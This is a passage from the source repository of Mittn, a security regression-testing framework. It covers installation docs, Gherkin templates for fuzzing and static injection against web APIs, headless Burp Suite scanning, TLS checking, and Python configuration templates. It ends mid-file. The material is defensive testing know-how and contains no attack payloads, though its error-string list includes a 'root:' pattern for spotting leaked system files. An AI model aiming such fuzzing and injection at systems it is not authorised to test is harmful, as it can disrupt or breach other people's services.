Cross-Site 44 | Scripting detection. Please look at dedicated web vulnerability 45 | scanners such as Burp Suite Professional or OWASP Zaproxy if you 46 | require this (and the associated Mittn test runner for headless 47 | scanning). The system also does not do a very deep SQL injection 48 | detection. For this, we suggest using tools such as SQLmap. 49 | 50 | The test system runs test cases described in the Gherkin language and 51 | run using Behave. This makes it easy to create new tests for new HTTP 52 | APIs even without programming experience. The test script can be 53 | instructed to emit JUnit XML test results for integration in test 54 | automation. 55 | 56 | The test system also supports "valid case instrumentation", where each 57 | malformed submission is interleaved with a valid case. The valid case 58 | needs to succeed. Valid case instrumentation is used for: 59 | 60 | - Re-authenticating and authorising the test script to the target 61 | system, if the malformed test case caused the authorisation to 62 | expire. 63 | - Detecting cases where a valid request following an invalid request 64 | is not properly processed. This may indicate a Denial of Service 65 | issue. 66 | 67 | Quickstart 68 | ========== 69 | 70 | 1. Install the requirements. 71 | 2. Create authenticate.py and environment.py under mittn/features 72 | (templates are provided that you can edit). 73 | 3. Edit the .feature files. 74 | 4. Run the took from the mittn directory: 75 | 76 | behave features/your-tests.feature 77 | 78 | For details, read on. 79 | 80 | Software requirements 81 | ===================== 82 | 83 | 1. Python package requirements in addition to the standard libraries 84 | are listed in requirements.txt. You can install the requirements 85 | using pip: 86 | 87 | pip install -r requirements.txt 88 | 89 | As a suggestion, you might want to use a virtualenv. 90 | 91 | 2. Radamsa, a fuzzer compiled on your system. Radamsa is available 92 | from https://github.com/aoh/radamsa. Mittn has been 93 | tested with version 0.4a. Radamsa is an excellent file-based fuzzer 94 | created by the University of Oulu Secure Programming Group. 95 | 96 | Environment requirements 97 | ======================== 98 | 99 | - The test driver is Behave. Behave runs BDD test cases described in 100 | Gherkin, a BDD language. Changes to your tests would be likely to be 101 | made to the Gherkin files that have a .feature suffix. Behave can 102 | emit JUnit XML test result documents. This is likely to be your 103 | preferred route of getting the test results into Jenkins. 104 | 105 | - New findings are added into an SQL database, which holds the 106 | information about known false positives, so that they are not 107 | reported during subsequent runs. You need to have CREATE TABLE, 108 | SELECT and INSERT permissions on the database. 109 | 110 | - You need a deployment of your test system that is safe to test 111 | against. You might not want to use your production system due to 112 | Denial of Service potential. You might not want to run the tool 113 | through an Intrusion Detection System or a Web Application Firewall, 114 | unless you want to test the efficacy and behaviour of those 115 | solutions. 116 | 117 | - You may not want to run the fuzz tests from a host that is running 118 | antivirus software. Fuzz test cases created by the fuzzer are 119 | written to files and have a tendency of being mistaken as 120 | malware. These are false positives. There is no real malware in the 121 | tool, unless you provide it with such inputs. 122 | 123 | What are baseline databases? 124 | ============================ 125 | 126 | The tests in Mittn have a tendency of finding false positives. Also, 127 | due to the distributed nature of cloud-based Continuous Integration 128 | systems, the tests might be running on transient nodes that are 129 | deployed just for the duration of a test run and then shut down. The 130 | baseline database holds the information on new findings and known 131 | false positives in a central place. 132 | 133 | Currently, the httpfuzzer and headlessscanner tools use baseline 134 | databases. The headlessscanner tool requires a database; the httpfuzzer 135 | can be run without one, but the usefulness is greatly reduced. 136 | 137 | The tool uses SQL Alchemy Core as a database abstraction layer. The 138 | supported database options are listed at 139 | http://docs.sqlalchemy.org/en/rel_0_9/dialects/index.html. 140 | 141 | If you need a centralised database that receives issues from a number 142 | of nodes, you need a database with network connectivity. If you only 143 | need a local database, you can use a file-based (such as sqlite) 144 | database. The latter is much easier to set up as it requires no 145 | database server or users to be defined. 146 | 147 | Whichever database you use, you will provide the configuration options 148 | in features/environment.py as a database URI. For details on the URI 149 | syntax, see 150 | http://docs.sqlalchemy.org/en/rel_0_9/core/engines.html#database-urls. 151 | 152 | Managing findings 153 | ================= 154 | 155 | After a failing test run, the database (if one is used) will contain 156 | new findings. They will be marked as new. Once the issue has been 157 | studied, the developers should: 158 | 159 | 1) If the issue was a real finding, remove the issue from the 160 | database. If the issue re-occurs, it will fail the test again. 161 | 162 | 2) If the issue was a false positive, mark it as not new by zeroing 163 | the new_issue flag. if the issue re-occurs, it will not be reported 164 | again but treated as a false positive. 165 | 166 | Selecting the appropriate database 167 | ================================== 168 | 169 | The test system uses an SQL database to store false positives, so that 170 | it doesn't report them as errors. Whenever new positives are 171 | encountered, those are added to the database. The developers can then 172 | check the finding. If the finding is a false positive, they will need 173 | to mark it as such in the database (by setting a flag new_issue as 174 | false (or zero) on that finding). If it was a real positive, that 175 | finding needs to be removed from the database, and of course, the 176 | system under test needs a fix. 177 | 178 | The system supports either databases in local files with sqlite, or a 179 | connection over the network to an off-host database. Select 180 | the database solution you want to use: 181 | 182 | 1. If you run the tests on a developer machine, or on a host that is 183 | not redeployed from scratch every time (i.e., the host has 184 | persistent storage), or if the host has a persistent 185 | network-mounted file system, it is probably easier to store the 186 | results into a file-based local database. 187 | 188 | 2. If you run tests concurrently on several nodes against the same 189 | system under test, or if your test system is on a VM instance 190 | that is destroyed after the tests (i.e., the host has no 191 | persistent storage), or if you want to share the results easily 192 | with a larger team, it is probably easier to use a 193 | network-connected database. 194 | 195 | Setup instructions 196 | ================== 197 | 198 | User-editable files 199 | ------------------- 200 | 201 | Test cases are written in Gherkin and stored in .feature files. The 202 | cases are run with Behave, for example, from the mittn base directory: 203 | 204 | behave features/mytests.feature --junit --junit-directory 205 | /path/to/junit/reports 206 | 207 | If you are not using JUnit XML reports, leave the --junit and 208 | --junit-directory options out. 209 | 210 | Feature file setup is described later in this document, under "Writing 211 | test cases". 212 | 213 | All user-editable files are in the mittn/features/ directory. For 214 | basic usage, you should not need to edit anything in the mittn/mittn/ 215 | directory. 216 | 217 | Authentication and authorisation 218 | -------------------------------- 219 | 220 | If you do NOT need to authorise yourself to your test target, just 221 | copy mittn/features/authenticate.py.template into 222 | mittn/features/authenticate.py. 223 | 224 | If your system DOES require authorisation, you need to provide your 225 | own modifications to the template and store that in 226 | mittn/features/authenticate.py. There is a template available that you 227 | can copy and edit; the template contains instructions as to what to 228 | do. In essence, you need to return a Requests library Auth object that 229 | implements the authentication and authorisation against your test 230 | target. The Requests library already provides some standard Auth 231 | object types. If your system requires a non-standard login (e.g., 232 | username and password typed into a web form), you need to provide the 233 | code to perform this. Please see the Requests library documentation at 234 | http://docs.python-requests.org/en/latest/user/authentication/ and the 235 | template for modification instructions. 236 | 237 | You can have several different auth methods for different cases; these 238 | are identified through an authentication flow identifier, specified in 239 | the test description. 240 | 241 | Environment settings 242 | -------------------- 243 | 244 | - Edit the mittn/features/environment.py to reflect your setup. You 245 | need to edit at least the common and httpfuzzer specific 246 | settings. There is a template available that you can copy and edit. 247 | 248 | - Edit mittn/features/environment.py so that context.dburl points to 249 | your database. The pointer is an SQL Alchemy URI, and the syntax 250 | varies for each database. Examples are provided in the file for 251 | sqlite and PostgreSQL. Further documentation on the database URIs is 252 | available on 253 | http://docs.sqlalchemy.org/en/rel_0_9/core/engines.html#database-urls. 254 | 255 | - Ensure that you have CREATE TABLE, INSERT and SELECT rights to the 256 | database. (SQL Alchemy might require something else under the hood 257 | too, depending on what database you are using.) 258 | 259 | - During the first run of the tool, the false positives database table 260 | will be automatically created. If one exists already, it will not be 261 | deleted. 262 | 263 | Writing test cases 264 | ================== 265 | 266 | Test cases are defined through feature files. These are files with a 267 | .feature suffix, written in Gherkin, a BDD language. 268 | 269 | You can find example tests in Mittn/features/*template.feature 270 | files. It is recommended that you view these examples, and unless some 271 | of the lines are not self-explanatory, you can find the documentation 272 | below. 273 | 274 | There are two example templates: One for injection of static anomalies 275 | (shell command injections, etc.), and one for injection of fuzz test 276 | cases. These templates are extensively commented, so you could just 277 | grab one of them and start editing it. This section gives more 278 | information on some selected topics. 279 | 280 | Environmental settings 281 | ---------------------- 282 | 283 | Given a baseline database for injection findings 284 | 285 | Checks whether you have a database available. 286 | 287 | Given a web proxy 288 | 289 | Sets a web proxy. This is useful if you are, in fact, behind a proxy, 290 | or if you want to see what the tool does, using an intercepting 291 | proxy. When setting up the system, it could be a good idea to view the 292 | requests. The proxy settings are in feature/environment.py. 293 | 294 | Given a working Radamsa installation 295 | 296 | Performs a sanity check for the fuzzer. This needs to be present if 297 | you inject fuzz cases. The path to radamsa is provided in 298 | features/environment.py. 299 | 300 | Test case settings 301 | ------------------ 302 | 303 | Given scenario id "ID" 304 | 305 | You should give each test case a different ID (an arbitrary string) 306 | as that helps you to separate results. 307 | 308 | Given an authentication flow id "1" 309 | 310 | This selects which authentication / authorisation you want to use with 311 | this specific scenario. This is an arbitrary string. If you just use 312 | one type of authorisation with all the test cases, or do not need 313 | authentication / authorisation, you can just leave it as is. 314 | 315 | Given tests conducted with HTTP methods "GET,POST,PUT,DELETE" 316 | 317 | What HTTP methods should be used to inject. Even if your system only 318 | expects, say, POST, it might be a good idea to try injecting with GET, 319 | too. 320 | 321 | Given a timeout of "5" seconds 322 | 323 | How long to wait for a server response. 324 | 325 | Setting up valid case instrumentation 326 | ------------------------------------- 327 | 328 | Given valid case instrumentation with success defined as "100-499" 329 | 330 | Valid case instrumentation tries a valid test case after each 331 | injection. This is done for two reasons: 332 | 333 | 1) If you need authentication / authorisation, the valid case tests 334 | whether your auth credentials are still valid, and if not, it 335 | logs you in again. 336 | 2) If the valid case suddenly stops working, the remaining injection 337 | cases wouldn't probably actually test your system either. 338 | 339 | A valid case is the same API call which you are using injection 340 | against. 341 | 342 | If you do not use valid case instrumentation, the valid case is tried 343 | just once as the first test case. 344 | 345 | Valid cases have an HTTP header that indicates they are valid 346 | cases. This may be helpful if you are looking at the injected requests 347 | using a proxy tool. 348 | 349 | Defining test targets for static injection 350 | ------------------------------------------ 351 | 352 | Given target URL "http://mittn.org/dev/null" 353 | Given a valid JSON submission "{something}" using "POST" method 354 | Given a valid form submission "something" using "POST" method 355 | 356 | These lines define the target for static injection testing. The target 357 | URL is the API URL. Depending on whether you are testing a JSON API or 358 | a form submission, you should then provide an example of a _valid_ 359 | case. 360 | 361 | For best results, the valid case should trigger maximal processing 362 | behind the API. You can do this by using any and all options and 363 | parameters that your API supports, and by having several valid test 364 | cases (in separate Gherkin scenarios) that cause maximal functional 365 | coverage. 366 | 367 | You can only do _either_ static injection of fuzzing in a single test 368 | scenarion, not both. 369 | 370 | Defining test targets for fuzz testing 371 | -------------------------------------- 372 | 373 | Given target URL "http://mittn.org/dev/null" 374 | Given valid JSON submissions using "POST" method 375 | | submission | 376 | | {"foo": 1, "bar": "OMalleys"} | 377 | | {"foo": 2, "bar": "Liberty or Death"} | 378 | | {"foo": 42, "bar": "Kauppuri 5"} | 379 | Given valid form submissions using "POST" method 380 | | submission | 381 | | foo=1&bar=OMalleys | 382 | | foo=2&bar=Liberty%20or%20Death | 383 | | foo=42&bar=Kauppuri%205 | 384 | 385 | These lines define the target for fuzz case injection testing. The 386 | target URL is the API URL. Depending on whether you are testing a JSON 387 | API or a form submission, you should then provide several examples of 388 | valid cases. These examples are used to create fuzz case data. 389 | 390 | The first line ("submission") is a column title and must be included. 391 | 392 | The first valid case you provide is used as the reference valid case 393 | and should aim at triggering maximal processing behind the API. The 394 | other valid cases should be technically valid, but do not need to be 395 | positive test cases; the other cases could also be negative test 396 | cases or have less parameters. 397 | 398 | You can only do _either_ static injection of fuzzing in a single test 399 | scenarion, not both. 400 | 401 | Form submissions should be URL-encoded. 402 | 403 | Running the tests and checking for responses 404 | -------------------------------------------- 405 | 406 | When fuzzing with "10" fuzz cases for each key and value 407 | When injecting static bad data for every key and value 408 | 409 | These perform the actual test run. You can only have one of these per 410 | scenario. 411 | 412 | When fuzzing, you can start small but you should probably aim to run 413 | hundreds or thousands of test cases when you actually take the system 414 | into production. 415 | 416 | By default, requests that are sent to the remote host contain an 417 | X-Abuse: header that lists your hostname and IP address. These are 418 | intended to give a remote system administrator some way of contacting 419 | you if you mistakenly point your tool towards a wrong endpoint. 420 | 421 | When storing any new cases of return codes "500,502-599" 422 | When storing any new cases of responses timing out 423 | When storing any new invalid server responses 424 | When storing any new cases of response bodies that contain strings 425 | | string | 426 | | server error | 427 | | exception | 428 | | invalid response | 429 | 430 | These lines check for anomalous server responses. The response bodies 431 | are searched for the specified strings. If you know your framework's 432 | default critical error strings, you should probably add them here, and 433 | remove any that are likely to cause false positives. The first line 434 | ("string") is a column title and must be included. 435 | 436 | Then no new issues were stored 437 | 438 | This final line raises a failed assertion if there were any new 439 | findings. 440 | 441 | Findings in the database 442 | ------------------------ 443 | 444 | The findings in the database contain the following columns: 445 | 446 | new_issue: A flag that indicates a new finding. If this is 0, and 447 | the issue is found again, it will not be reported - it will be 448 | assumed to be a known false positive. 449 | 450 | issue_no: A unique serial number. 451 | 452 | timestamp: The timestamp (in UTC) when the request was sent to the 453 | server. You can use this information to correlate findings in server 454 | logs. 455 | 456 | test_runner_host: the IP address from where the tests were run. You 457 | can use this to correlate the finding against server logs. If you 458 | only see local addresses here, have a look at your /etc/hosts file. 459 | 460 | scenario_id: The arbitrary scenario identifier you provided in the 461 | feature file. 462 | 463 | url: The target URL that was being injected. 464 | 465 | server_protocol_error: If the issue was caused by a malformed HTTP 466 | response, this is what the Requests library had to say about the 467 | response. 468 | 469 | server_timeout: True if the request timed out. 470 | 471 | server_error_text_match: True if the server's response body matched 472 | one of the error strings listed in the feature file. 473 | 474 | req_method: The HTTP request method (e.g., POST) used for the injection. 475 | 476 | req_headers: A JSON structure of the HTTP request headers used for 477 | the injection. 478 | 479 | req_body: The HTTP request body that was injected. (This is where 480 | you can find the bad data.) 481 | 482 | resp_statuscode: The HTTP response status code from the server. 483 | 484 | resp_headers: A JSON structure of the HTTP response headers from the 485 | server. 486 | 487 | resp_body: The body of the HTTP response from the server. 488 | 489 | resp_history: If the response came after a series of redirects, this 490 | contains the requests and responses of the redirects. 491 | 492 | Future features 493 | --------------- 494 | 495 | The plan is to make the fuzzer also fuzz URL parts, including path and 496 | parameters. Currently, the URL parts fuzzing is not there, but you can 497 | inject into, and fuzz, URL parameters. 498 | 499 | URL parameters (not to be confused with form parameters!) are semicolon- 500 | separated: 501 | 502 | ;parameter1=value1,value2;parameter2=value3 503 | 504 | This is specified in RFC 3986, section 3.3. This is a fairly niche 505 | thing, and has not been tested as much as the other modes. 506 | 507 | Currently, only the GET method (i.e., without body) is supported for 508 | URL path parameter injection. If you want to inject to these, the 509 | feature file lines are: 510 | 511 | Given valid url parameters ";foo=bar" 512 | Given valid url parameters 513 | | submission | 514 | | ;foo=bar | 515 | | ;quux=bletch | 516 | 517 | for static injection and fuzzing, respectively. 518 | 519 | If URL path fuzzing will be supported in the future, this syntax 520 | _will_ change into accepting the actual complete URL, and an 521 | additional feature file rule will be introduced that specifies the 522 | valid body for other HTTP methods than GET. 523 | -------------------------------------------------------------------------------- /docs/INSTALL-tlschecker.txt: -------------------------------------------------------------------------------- 1 | ========================= 2 | tlschecker installation 3 | ========================= 4 | 5 | If you need further guidance 6 | ============================ 7 | 8 | If you stumble upon a bug, please file a ticket on the GitHub 9 | project or send a pull request with the patch. 10 | 11 | TLS checker concept 12 | =================== 13 | 14 | The TLS checker runs the great sslyze.py tool against a server, 15 | requesting XML output. The test steps then interrogate the XML 16 | tree to find out whether the server configuration is correct. 17 | 18 | These tests should be run against production deployment. 19 | 20 | Software requirements 21 | ===================== 22 | 23 | 1. Python package dependencies; see setup.py. 24 | 25 | 2. sslyze, which you can obtain from 26 | https://github.com/nabla-c0d3/sslyze. The version against which 27 | the tool works is 0.12. If the XML output changes, tests may break 28 | unexpectedly. You may want to obtain a pre-built version from 29 | https://github.com/nabla-c0d3/sslyze/releases. Ensure the script 30 | is executable. 31 | 32 | Environment requirements 33 | ======================== 34 | 35 | - The test driver is Behave. Behave runs BDD test cases described in 36 | Gherkin, a BDD language. Changes to your tests would be likely to be 37 | made to the Gherkin files that have a .feature suffix. Behave can 38 | emit JUnit XML test result documents. This is likely to be your 39 | preferred route of getting the test results into Jenkins. 40 | 41 | - Set up Mittn/features/environment.py using the supplied 42 | environment.py.template. This should contain a link to the sslyze 43 | executable. 44 | 45 | - You have two ways of defining the target of the scan; you can either 46 | populate environment variables with the hostname and port number, 47 | and set those in the feature file (by default: TLSCHECK_HOST and 48 | TLSCHECK_PORT), or you can hardcode these in the feature file. 49 | 50 | Setting up the test case 51 | ======================== 52 | 53 | The important files that apply to tlschecker tests are: 54 | 55 | 1. The test steps, tlschecker.feature as an example. The tests 56 | should be rather self-explanatory. See below for more details. 57 | 58 | 2. The actual test steps are in Mittn/mittn/tlschecker. There 59 | should not be a need to alter anything in this directory. 60 | 61 | 3. General test configuration items in 62 | Mittn/features/environment.py. 63 | 64 | The tests use an optimisation where the potentially slow scanning 65 | activity is done only once, the result is stored, and subsequent tests 66 | just check the resulting XML. 67 | 68 | After doing a connection, you should probably have a "Then" statement 69 | "the connection results are stored". 70 | 71 | Subsequent steps that start with "Given a stored connection result" 72 | operate with the result set that was last stored. 73 | 74 | Running the tests 75 | ================= 76 | 77 | Run the tests with 78 | 79 | behave features/yourfeaturefile.feature --junit --junit-directory PATH 80 | 81 | with the Mittn directory in your PYTHONPATH (or run the tool from 82 | Mittn/), and PATH pointing where you want the JUnit XML output. If 83 | your test automation system does not use JUnit XML, you can, of 84 | course, leave those options out. 85 | 86 | -------------------------------------------------------------------------------- /features/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/WithSecureOpenSource/mittn/05829b47a64f081f71bd878166683e68da943826/features/__init__.py -------------------------------------------------------------------------------- /features/authenticate.py: -------------------------------------------------------------------------------- 1 | # PLACEHOLDER. Replace from an edited one from authenticate.py.template, or 2 | # if you do not need authentication / authorisation, just copy it here. 3 | -------------------------------------------------------------------------------- /features/authenticate.py.template: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | 3 | from requests import auth 4 | import os 5 | 6 | 7 | def authenticate(context, auth_flow_id=None, acquire_new_authenticator=False): 8 | """Authenticate to the target server with a specified 9 | authentication method. Return a Requests auth object. 10 | 11 | :param acquire_new_authenticator: If True, authentication will be 12 | re-triggered. If False, old cached authenticator will be reused. 13 | :param auth_flow_id: An arbitrary identifier provided in the 14 | Gherkin file that selects one of the potential authentication 15 | flows, if the tests need different ones. 16 | """ 17 | 18 | #### 19 | # This is the place which you need to modify if your target 20 | # requires authorisation. (If you don't, you can just copy this 21 | # template as features/authenticate.py and you should be set.) 22 | # 23 | # You need to return a Requests library authenticator 24 | # object. Please read 25 | # http://docs.python-requests.org/en/latest/user/authentication/ 26 | # 27 | # The thing you need to return is what is passed as the auth 28 | # parameter in the examples in the above documentation. There are 29 | # some things you may want to do here. 30 | # 31 | # 1. If you have different 32 | # authentication flows (e.g., for different test cases), the 33 | # variable auth_flow_id contains an arbitrary identifier that is 34 | # defined in the Gherkin .feature file. You can return different 35 | # authenticators based on this variable. If you only have one type 36 | # of authorisation, you do not need to consider this. 37 | # 38 | # 2. If the 39 | # acquire_new_authenticator is True, you should 40 | # re-authenticate/authorise yourself (e.g., if you authorisation 41 | # is a session cookie, you need to re-obtain a new session 42 | # cookie). Unless you do this, your test run probably stops there. 43 | # A skeleton that does this is already provided below. 44 | # 45 | # By 46 | # default, we return a CustomAuth() object that does nothing. This 47 | # is equal to not having any auth. If you have a complex auth 48 | # scheme, e.g., you need to log into a system using a Selenium 49 | # script, the CustomAuth's __call__ below is the right place to 50 | # implement it. If you use the auth methods Requests provides, do 51 | # not return the CustomAuth object - instead, return one of the 52 | # Requests library built-in authentication objects (see the doc 53 | # link above). 54 | ### 55 | 56 | # Reuse an existing authenticator unless explicitly requested to 57 | # create a new one, or if this is the first time we need one 58 | if hasattr(context, "cached_authenticator") is False or acquire_new_authenticator is True: 59 | # The following is what you may want to change 60 | context.cached_authenticator = CustomAuth() # Here you should assign your auth object 61 | context.cached_authenticator.reset_authenticator() # Comment this line out if not using CustomAuth 62 | 63 | # As an example, if you need HTTP Basic Authentication, 64 | # comment out the two lines above and instead use the 65 | # following: context.cached_authenticator = 66 | # auth.HTTPBasicAuth('user', 'pass') 67 | return context.cached_authenticator 68 | 69 | 70 | class CustomAuth(auth.AuthBase): 71 | def __call__(self, request): 72 | """A template for implementing your very own custom authentication. 73 | Here you are supposed to modify the HTTP request so it's authenticated. 74 | 75 | :param request: A Requests request to be modified and returned 76 | """ 77 | 78 | #### 79 | # If you need a more complex authentication / authorisation 80 | # system that what is supported by Requests out of the box, 81 | # implement it here. You should modify the request parameter 82 | # and return it. 83 | # 84 | # See 85 | # http://docs.python-requests.org/en/latest/user/authentication/#new-forms-of-authentication 86 | # 87 | # If your system does not require authentication, you can 88 | # leave this as is. 89 | #### 90 | 91 | if hasattr(self, 'cached_session') is False or self.cached_session is None: 92 | 93 | # Here, perform any auth steps necessary. Store your token or other 94 | # authentication result in self.cached_session. 95 | 96 | # Example: 97 | # self.cached_session = your_session_token 98 | pass 99 | 100 | # Here, modify the request using self.cached_session. 101 | 102 | # Example: 103 | # request.headers['X-Session'] = self.cached_session 104 | 105 | return request 106 | 107 | def reset_authenticator(self): 108 | """A convenience function to request a new authentication to take place 109 | """ 110 | self.cached_session = None 111 | -------------------------------------------------------------------------------- /features/environment.py: -------------------------------------------------------------------------------- 1 | # PLACEHOLDER. Replace with an edited one from environment.py.template. 2 | -------------------------------------------------------------------------------- /features/environment.py.template: -------------------------------------------------------------------------------- 1 | # pylint: disable=E0602,E0102 2 | 3 | '''Set up environment specific settings''' 4 | 5 | from behave import * 6 | 7 | def before_all(context): 8 | """Things to do before anything else""" 9 | 10 | #### 11 | # Common settings for more than one test type 12 | #### 13 | 14 | # Database URI. This needs to be in a syntax that SQLAlchemy 15 | # understands. Any database supported by SQLAlchemy will do. 16 | # See http://docs.sqlalchemy.org/en/rel_0_9/core/engines.html#database-urls 17 | 18 | # Example for sqlite (replace with your absolute path): 19 | context.dburl = 'sqlite:////path/to/database.sqlite' 20 | 21 | # Example for PostgreSQL, with a password and forced TLS. 22 | # Replace with your username, hostname and databasename. 23 | # db_password = os.environ['PGPASSWORD'] # Retrieve password from env var 24 | # context.dburl = 'postgresql+psycopg2://username:' + db_password + '@hostname/databasename?sslmode=require' 25 | 26 | # The following is used as the proxy setting across tests 27 | # (Note that for headless scanning, the proxy address is a 28 | # separate setting, later) 29 | context.proxy_address = None 30 | # If you actually have a proxy, use, for example: 31 | # context.proxy_address = "localhost:8080" 32 | 33 | #### 34 | # headless-scanner specific 35 | #### 36 | 37 | # Remember that in addition to configure the paths here, you need 38 | # to install the HeadlessScannerDriver.py Burp Extender plugin in 39 | # Burp Suite, and set its output to stdout. Refer to installation 40 | # instructions for details. 41 | 42 | # Burp suite JAR file absolute path 43 | burp_location = "/path/to/burpsuite.jar" 44 | 45 | # Burp Suite proxy address 46 | context.burp_proxy_address = "localhost:8080" 47 | 48 | # Command line to start Burp Suite 49 | # Usually you should not need to touch this. 50 | context.burp_cmdline = "java -jar -Xmx1g -Djava.awt.headless=true -XX:MaxPermSize=1G " + burp_location 51 | 52 | # An alternate that shows GUI, perhaps helpful for debugging Burp 53 | # issues (note: startup is much, much slower) 54 | # context.burp_cmdline = "java -jar -Xmx1g -XX:MaxPermSize=1G " + burp_location 55 | 56 | #### 57 | # httpfuzzer specific 58 | #### 59 | 60 | # Radamsa binary absolute path 61 | context.radamsa_location = "/path/to/radamsa" 62 | 63 | #### 64 | # tlschecker specific 65 | #### 66 | 67 | # sslyze absolute path 68 | context.sslyze_location = "/path/to/sslyze" 69 | -------------------------------------------------------------------------------- /features/fuzz-injection-example-template.feature: -------------------------------------------------------------------------------- 1 | # Read docs/INSTALL-httpfuzzer.txt for further documentation 2 | 3 | Feature: Do fuzz injection testing for an API 4 | As a developer, 5 | I want to inject fuzzed values into an API 6 | So that I detect lack of robustness in how inputs are processed 7 | 8 | Background: Check that we have a working installation 9 | # Try out the database connection 10 | Given a baseline database for injection findings 11 | 12 | # If you are behind a proxy, set this and configure in environment.py 13 | # (hint: use an intercepting proxy to see what the tool does when 14 | # setting it up). Configuration in features/environment.py 15 | # And a web proxy 16 | 17 | # This line is required for fuzz runs; it does a sanity check for 18 | # your Radamsa installation. Configuration in features/environment.py 19 | And a working Radamsa installation 20 | 21 | Scenario: 22 | # Give different tests different identifiers, so when an error is reported 23 | # into the database, you know which test scenario it applies to. 24 | Given scenario id "1" 25 | 26 | # If you need authentication, implement it in authenticate.py. 27 | # You can have several authentication options, referred to by an id here. 28 | And an authentication flow id "1" 29 | 30 | # It is recommended that after each injection, you check that your target 31 | # still works by trying a valid case. The following turns on valid case 32 | # instrumentation. One valid case is always run at first irrespective of 33 | # this setting. 34 | And valid case instrumentation with success defined as "100-499" 35 | 36 | # The target URL where valid cases and injections are sent 37 | And target URL "http://mittn.org/dev/null" 38 | 39 | # You need to give (preferably several) examples of the _same_ kind 40 | # of JSON object that you are sending. This means that the parameters 41 | # should be the same, but the values should be different, and preferably 42 | # cover the valid input space for the values. The first in this list 43 | # is used for valid case instrumentation and for initial valid case 44 | # probing, so it should respond with a success. Others samples listed 45 | # can trigger controlled errors, too. The first line is a column title. 46 | And valid JSON submissions using "POST" method 47 | | submission | 48 | | {"foo": 1, "bar": "OMalleys"} | 49 | | {"foo": 2, "bar": "Liberty or Death"} | 50 | | {"foo": 42, "bar": "Kauppuri 5"} | 51 | 52 | # And this is for valid form submissions, see above (JSON) for guidance. 53 | # You can only have either the JSON or form submission active. 54 | #And valid form submissions using "POST" method 55 | # | submission | 56 | # | foo=1&bar=OMalleys | 57 | # | foo=2&bar=Liberty%20or%20Death | 58 | # | foo=42&bar=Kauppuri%205 | 59 | 60 | # Which HTTP methods to use for injection; comma-separated list 61 | # If you're injecting JSON, GET doesn't make much sense, but with 62 | # form submissions, you probably want to include GET. 63 | And tests conducted with HTTP methods "POST,PUT,DELETE" 64 | 65 | # Timeout after which the requests are canceled so the test won't hang 66 | And a timeout of "5" seconds 67 | 68 | # The actual test; this does fuzzing. Start with a small number 69 | # first and once you know it works, aim to do thousands of injections. 70 | # Note that this number is multiplied by every key and value in your 71 | # valid submissions and for each HTTP method; So, for example, two 72 | # key=value pairs with four methods and 10 fuzz cases is 4 * 4 * 10 73 | # HTTP requests that are generated, plus a valid case instrumentation 74 | # requests would already lead to already requests generated. 75 | When fuzzing with "10" fuzz cases for each key and value 76 | 77 | # Which return codes from the server are flagged as failures 78 | And storing any new cases of return codes "500,502-599" 79 | 80 | # Whether timeouts are flagged as failures or not 81 | And storing any new cases of responses timing out 82 | 83 | # Whether HTTP level problems are flagged as failures 84 | And storing any new invalid server responses 85 | 86 | # Strings that, if present in the server response, indicate a failure. 87 | # Add your web frameworks' error strings here, and remove any that 88 | # would cause false positives. The first row is a title row. 89 | And storing any new cases of response bodies that contain strings 90 | | string | 91 | | server error | 92 | | exception | 93 | | invalid response | 94 | | bad gateway | 95 | | internal ASP error | 96 | | service unavailable | 97 | | exceeded | 98 | | premature | 99 | | fatal error | 100 | | proxy error | 101 | | database error | 102 | | backend error | 103 | | SQL | 104 | | mysql | 105 | | postgres | 106 | | root: | 107 | | parse error | 108 | | exhausted | 109 | | warning | 110 | | denied | 111 | | failure | 112 | 113 | # Finally, if any of the above have failed, fail the test run 114 | Then no new issues were stored 115 | -------------------------------------------------------------------------------- /features/headless-scanner-example.feature: -------------------------------------------------------------------------------- 1 | Feature: Do a headless active scan 2 | As a developer, 3 | I want to run an active scan against my system 4 | So that I detect any regression from baseline security 5 | 6 | # Edit features/environment.py to include correct paths to Burp 7 | # Suite and your database. The following Background will test the 8 | # configuration. 9 | 10 | Background: Test that the database and Burp Suite are configured correctly 11 | Given a baseline database for scanner findings 12 | And a working Burp Suite installation 13 | 14 | # You need to implement the actual test scenarios that cause HTTP 15 | # requests to be sent to your target (using, e.g., Selenium, 16 | # RoboBrowser, Requests) in scenarios.py. They are executed by the 17 | # scenario id, below. 18 | 19 | # If you can strictly control where your test scenarios make HTTP requests, e.g., 20 | # you are using Requests or similar to specific URIs, setting "all URIs successfully scanned" 21 | # will fail if any one of the URIs will be skipped (e.g., for being out of scope, or DNS failing, 22 | # or something else). This decreases the likelihood that you run useless scans. 23 | # However, if you're using Selenium or similar to scan, and your browser automation makes 24 | # requests outside your target scope, remove that line; abandoned scans are normal in that 25 | # sort of an environment - but you have to verify that your target actually is being scanned. 26 | 27 | @slow 28 | Scenario: 29 | Given scenario id "1" 30 | And all URIs successfully scanned 31 | When scenario test is run through Burp Suite with "10" minute timeout 32 | Then baseline is unchanged 33 | 34 | # More scenarios can be added, differentiated with an id 35 | # @slow 36 | # Scenario: 37 | # Given scenario id "2" 38 | # When scenario test is run through Burp Suite with "10" minute timeout 39 | # Then baseline is unchanged 40 | -------------------------------------------------------------------------------- /features/scenarios.py: -------------------------------------------------------------------------------- 1 | # PLACEHOLDER. Replace with an edited one from scenarios.py.template. 2 | -------------------------------------------------------------------------------- /features/scenarios.py.template: -------------------------------------------------------------------------------- 1 | """This file contains the code that runs positive test scenarios. 2 | Scenarios are identified by scenario ID, which is provided in the 3 | Gherkin .feature file. The code in this file should generate HTTP 4 | requests that are directed to a proxy, which you also defined in 5 | the Gherkin .feature file. 6 | 7 | If your valid test cases fail, you should assert False with a 8 | descriptive message. This is because if your valid cases fail, 9 | security testing has little chance of working either. 10 | 11 | """ 12 | 13 | import requests 14 | import logging 15 | from mittn.headlessscanner.proxy_comms import * 16 | 17 | 18 | def run_scenario(scenario_id, proxy_address, burp_process): 19 | # Set the proxies. How you need to do this depends on the libraries 20 | # you use for driving test scenarios; the following is for the 'requests' 21 | # library. The proxy_address contains the proxy as "host:port" (without 22 | # the URI scheme). 23 | proxydict = {'http': 'http://' + proxy_address, 24 | 'https': 'https://' + proxy_address} 25 | 26 | # Here we will do whatever valid cases we want, indexed by 27 | # scenario id. This is just an example doing a simple request. 28 | # It is a good idea to set sensible timeouts and assert False if 29 | # a timeout is reached. If the target system doesn't respond 30 | # (or Burp Suite is somehow screwed) you want the test case to fail. 31 | if 